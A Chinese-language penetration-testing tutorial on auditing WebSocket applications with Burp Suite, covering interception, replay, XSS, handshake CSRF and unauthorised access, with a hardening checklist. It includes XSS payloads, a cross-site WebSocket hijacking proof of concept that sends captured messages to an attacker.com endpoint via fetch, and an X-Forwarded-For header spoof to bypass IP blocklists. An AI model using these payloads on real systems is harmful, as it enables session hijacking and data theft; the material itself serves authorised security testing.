WebSocket 安全审计:Burp Suite 拦截与重放 5 类消息漏洞实战 WebSocket 安全审计Burp Suite 拦截与重放 5 类消息漏洞实战现代 Web 应用越来越依赖 WebSocket 实现实时通信从在线客服到金融交易系统其双向全双工特性在提升用户体验的同时也带来了新的安全挑战。本文将系统化拆解如何利用 Burp Suite 对 WebSocket 通信进行深度安全测试涵盖从基础配置到高阶漏洞挖掘的全套方法论。1. WebSocket 安全测试环境搭建在开始漏洞挖掘前需要完成 Burp Suite 与测试环境的正确配置。以下是关键步骤检查清单Burp 版本验证确保使用 Burp Suite Professional 2020.1 及以上版本Community 版缺少主动拦截功能代理配置# 浏览器代理设置示例Chrome --proxy-server127.0.0.1:8080SSL 证书安装对于 wss:// 连接需将 Burp 的 CA 证书导入系统信任库拦截开关在 Proxy → Options 中启用 Intercept WebSocket messages常见配置问题排查表现象可能原因解决方案抓不到握手请求客户端未走代理检查浏览器/APP代理设置无法拦截消息未开启 WebSocket 拦截在 Proxy → Intercept 启用拦截消息显示乱码编码格式不匹配尝试切换 UTF-8/GBK 编码提示遇到连接异常时可先在 Burp 的 HTTP History 中过滤 WebSocket 确认握手是否成功状态码应为 101 Switching Protocols2. WebSocket 消息篡改与 XSS 漏洞挖掘消息篡改是最基础的测试手段通过修改传输内容触发前端或后端漏洞。典型测试流程在浏览器中触发 WebSocket 通信如发送聊天消息在 Burp Proxy → WebSockets history 定位目标消息右键选择 Send to Repeater 进行深度测试XSS 漏洞检测 payload 示例{ message: img srcx onerroralert(document.domain), user: attacker }实战案例 某电商客服系统存在存储型 XSS攻击者可构造特殊消息ws.send(JSON.stringify({ msgType: customer_service, content: svg/onloadalert(1), from: user123 }))当客服人员查看历史消息时XSS payload 将被执行。3. 消息重放与逻辑漏洞利用WebSocket 的重放攻击常导致业务逻辑漏洞测试时需要关注消息顺序依赖改变消息时序观察业务状态变化数值篡改修改交易金额、数量等敏感字段身份伪装替换消息中的用户标识字段重放攻击检测矩阵漏洞类型测试方法风险等级重复下单重放订单创建消息高危余额篡改修改充值金额字段严重权限提升替换 role 字段为 admin严重自动化测试技巧 使用 Burp Intruder 对消息字段进行暴力枚举GET /chat HTTP/1.1 Host: vulnerable.com Sec-WebSocket-Key: [payload position] Connection: Upgrade Upgrade: websocket4. 握手请求 CSRF 与跨站劫持WebSocket 握手阶段的 CSRF 防护缺失会导致跨站劫持漏洞检测要点检查握手请求是否包含 CSRF token验证 Origin 头校验是否严格测试是否可跨域建立连接POC 构造示例script var ws new WebSocket(wss://victim.com/chat); ws.onopen () ws.send(READY); ws.onmessage e fetch(https://attacker.com/log?btoa(e.data)); /script防护方案对比方案实现方式有效性CSRF Token握手请求携带随机 token★★★★★Origin 校验验证请求来源域名★★★☆☆二次确认需要用户交互确认★★☆☆☆5. 敏感信息泄露与未授权访问通过历史消息分析和连接尝试发现信息泄露信息泄露检测步骤在 WebSockets history 中搜索关键词passwordtokensecretkey检查错误消息是否暴露堆栈信息尝试未授权连接 WebSocket 端点未授权访问测试用例测试场景预期结果实际结果未登录直接连接应返回 403返回 101 连接成功低权限用户访问管理接口应拒绝连接成功建立连接6. 高级技巧连接操控与协议层攻击对于复杂场景需要深入协议层进行测试IP 伪造绕过黑名单GET /admin/ws HTTP/1.1 Host: target.com X-Forwarded-For: 192.168.1.1 Upgrade: websocket Connection: Upgrade协议降级攻击修改 Sec-WebSocket-Version 为旧版本移除加密使用 ws:// 协议注入非法 opcode 导致服务端异常WebSocket 安全加固 checklist[ ] 使用 wss:// 强制加密[ ] 握手阶段实施 CSRF 防护[ ] 消息内容进行输入过滤[ ] 实施严格的 Origin 检查[ ] 关闭调试信息输出在实际项目中我们曾通过消息重放漏洞在金融系统中发现可无限充值的关键缺陷。通过系统化的测试方法安全团队能够有效降低 WebSocket 带来的风险敞口。建议结合自动化工具与手动测试既保证覆盖率又不遗漏深层逻辑漏洞。